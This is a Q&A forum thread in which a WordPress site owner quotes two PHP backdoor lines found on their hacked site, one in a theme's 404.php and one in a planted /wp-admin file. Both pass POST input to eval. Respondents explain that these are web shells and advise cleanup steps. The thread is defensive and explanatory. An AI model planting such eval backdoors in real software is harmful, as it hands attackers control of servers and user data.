1

Hi I found two suspicious files on my site:

  1. The first in my theme (404.php), with this line added

    <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>

  2. The second in /wp-admin/ called wp-class.php.

    The only line there was: <?eval($_POST[joao]);?>

Can anyone tell me what are this doing, and what steps should I take ?

Improve this question
6
  • It is only after editing your question that your code became readable and the nature of the question clear. It is now, that I can't help but inform you that question regarding the recovery from hacks are deemed off-topic on this stack. – Johannes Pille Apr 13 '13 at 17:49
  • That being said: Yes those are highly suspicious file contents. And /wp-admin/wp-class.php is not a WP-core file. Delete those files. Have a look at FAQ | My site was hacked and Verifying that I have fully removed a WordPress hack. – Johannes Pille Apr 13 '13 at 17:51
  • thanks, but i also try to understand the meaning of the codes I posted here, to better understand what happened here – qaedus Apr 13 '13 at 18:14
  • @JohannesPille The question is primarily about understanding the code – and that’s fine here. – fuxia♦ Apr 13 '13 at 20:35
  • I don't see how a question being primarily code related makes it inherently on-topic, @toscho. The code related aspect can be paraphrased as "What do the PHP eval and base64_decode functions do?" Under that light, it isn't off-topic because it's about the recovery from a hack, I'll give you that, but it instantly becomes off-topic due to it being a pure PHP question. Agree to disagree, I guess. (sidenote: +1 anyway) – Johannes Pille Apr 13 '13 at 21:24
3

  1. When someone sends a POST request with a variable php and a base 64 encoded value that is PHP code after decoding it, that PHP code will run with the permissions of all your own PHP files. The attacker can read all database content, create new users, upload files …

  2. The second code does the same, just without encoding the PHP.

Both injections are rather primitive; they look almost as if they should be found to make you feel safe when you remove them.

It is very likely that these snippets are not the only problems. The attacker has used his new site probably and added some files. Read Verifying that I have fully removed a WordPress hack? and follow all suggestions mentioned there.

Find the back door. Read your log files if they aren’t already compromised.

Improve this answer
0

Those lines of code are almost surely malicious. To hinder the webmaster's ability to search for strings, malicious content is often hidden in an encoded format, like base64.

In my experience, the most common version of this attack outputs a hidden iframe that loads an external malicious URL (which may be used for a number of purposes).

Scan your site with Quttera (internally) and Sucuri (externally) and see if you can identify and remove all instances of the attack.

Improve this answer
1
  • Interestingly, I just read about WP attacks that target only accidental 404 traffic to redirect them. At a glance, this doesn't appear to be what you have, but I thought I'd comment it here just as a curiosity: blog.sucuri.net/2013/04/… – Orun Apr 13 '13 at 22:57

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.